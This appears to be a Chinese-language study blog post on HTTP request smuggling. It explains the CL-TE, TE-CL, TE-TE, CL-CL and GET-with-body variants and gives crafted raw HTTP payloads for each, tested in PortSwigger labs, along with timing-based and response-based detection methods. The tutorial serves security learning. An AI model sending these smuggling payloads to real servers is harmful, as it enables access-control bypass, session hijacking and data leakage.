0%

http请求走私

最近压力暴大,可能是开始解出一些让我感到困难且无从下手的内容吧(永远讨厌php),所以来学一学http请求走私这块内容(原理等相对简单,给了我很大的放松感)

什么是http请求走私

http请求走私可以通过欺骗代理服务器,负载均衡器或者服务器中的中间节点,利用前后不一致的验证方式实现请求走私危害,可以造成数据泄露,访问控制绕过,会话劫持,跨站脚本攻击等危害

前置知识

CL(Content-Length)

这个也太常见了,我想不用解释大家也知道是什么,这里就不过多解释,不懂的可以google一下

TE(Transfer-Encoding)

这个就是一种传输编码方式,跟它的名字一样,就是在传输过程中对消息体进行编码,然后可以在传输过程中对消息体进行压缩或分块传输等操作。当服务器无法确定响应的大小时,如动态生成的响应或者通过流式传输时,就可以使用Transfer-Encoding来实现分块传输(0就是截断)

漏洞成因

主要就是因为前后端校验不一致造成的,前端与后端的校验方法不一致,前端对包进行校验后交给后端,但是后端校验方法不同,对包进行异常截断,所以这导致请求走私

请求走私分类

CL不为0的GET请求

前端代理服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体,则后端服务器会忽略掉GET请求中的Content-Length,不进行处理,从而导致请求走私,代码演示如下:

1
2
3
4
5
6
7
GET / HTTP/1.1\r\n
Host: Example Domain\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: Example Domain\r\n
\r\n

前端服务器收到该请求,通过读取Content-Length,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对Content-Length进行处理,由于Pipeline的存在,它就认为这是收到了两个请求。

CL-CL

假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端服务器按照第二个Content-Length的值进行处理。这样有可能引发请求走私

1
2
3
4
5
6
7
POST / HTTP/1.1\r\n
Host: Example Domain\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

前端代理服务器获取的数据包长度为 8,将以上数据包完整转发至后端服务器,但后端服务器仅接收长度为7的数据包。因此读取前7个字符后,后端服务器认为本次请求已经读取完毕,然后返回响应。
但此时缓冲区仍留下一个a,对于后端服务器来讲,这个a是下一个请求的一部分,但没传输完毕。如果此时传来一个请求:

1
2
GET / HTTP/1.1
HOST: test.com

那么前端服务器和后端服务器将重用TCP连接,使后端实际接收的请求为:

1
2
aGET / HTTP/1.1
HOST: test.com

CL-TE

CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头。

chunk传输数据格式如下,其中size的值由16进制表示

1
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

构造数据包如下

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1\r\n
Host: Client Error: Forbidden\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

bp靶场中进行测试
会发现由于前端服务器处理Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是

1
2
3
0\r\n
\r\n
G

当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding,当它读取到0\r\n\r\n时,认为已经读取到结尾了,但是剩下的字母G就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。

1
2
3
GPOST / HTTP/1.1\r\n
Host: Client Error: Forbidden\r\n
......

TE-CL

TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。
构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1\r\n
Host: Client Error: Forbidden\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

bp靶场中测试
由于前端服务器处理Transfer-Encoding,当其读取到0\r\n\r\n时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完12\r\n之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是

1
2
3
4
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

TE-TE

TE-TE,也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。从某种意义上还是CL-TE或者TE-CL
构造请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST / HTTP/1.1\r\n
Host: Client Error: Forbidden\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

bp靶场
需要\r\n\r\n在后面加上尾随序列 0

检测请求走私

手动检测主要依靠计时技术和差异响应

计时技术检测CL-TE漏洞

如果应用程序容易受到请求走私的CL-TE变体的攻击,则发送如下所示的请求通常会导致时间延迟

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 7

1
A
1
X

由于前端服务器使用Content-Length标头,因此它将仅转发此请求的一部分,而忽略X。后端服务器使用Transfer-Encoding标头,处理第一个块,然后等待下一个块到达。这将导致明显的时间延迟

计时技术检测TE-CL漏洞

如果应用程序容易受到TE-CL变种的请求走私攻击,则发送如下所示的请求通常会导致时间延迟

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

于前端服务器使用Transfer-Encoding标头,因此它将仅转发此请求的一部分,而忽略X。后端服务器使用Content-Length标头,期望消息正文中有更多内容,然后等待其余内容到达。这将导致明显的时间延迟
如果应用程序容易受到该漏洞的CL-TE变体的攻击,则基于时间的TE-CL漏洞测试可能会破坏其他应用程序用户。因此,要隐身并最大程度地减少中断,应该首先使用CL-TE测试,只有在第一个测试失败的情况下才继续进行TE-CL测试

差异响应检测CL-TE漏洞

构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: 0a8b00ea03ae99e98384238a0087000e.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://0a8b00ea03ae99e98384238a0087000e.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Content-Length: 23
Transfer-Encoding: chunked

0

POST /404 HTTP/1.1

如果攻击成功,则后端服务器会将此请求的最后两行视为属于接收到的下一个请求。这将导致随后的“正常”请求如下所示

1
POST /404 HTTP/1.1

由于此请求现在包含无效的URL,因此服务器将以状态代码404进行响应,攻击请求确实对其进行了干扰
所以说这个请求包后续会回显一个error或者invalid request作为特征

差异响应检测TE-CL漏洞

构造如下请求包(需要\r\n\r\n在final 后面加上尾随序列0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0ad600ed03a42efb80952b65007a003a.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

如果攻击成功,则后端服务器将从GPOST / HTTP/1.1开始将所有内容视为属于接收到的下一个请求。这将导致随后的“正常”请求如下所示

即会回显出GPOST的request方式

工具检测

我们也可以利用工具进行检测
https://github.com/anshumanpattnaik/http-request-smuggling
或者直接搜bp插件,在BAPP上搜索HTTP Request Smuggler即可

全文几乎是”fork”自博客https://zhuanlan.zhihu.com/p/643981358,这篇文章讲的实在是精彩,而且通俗易懂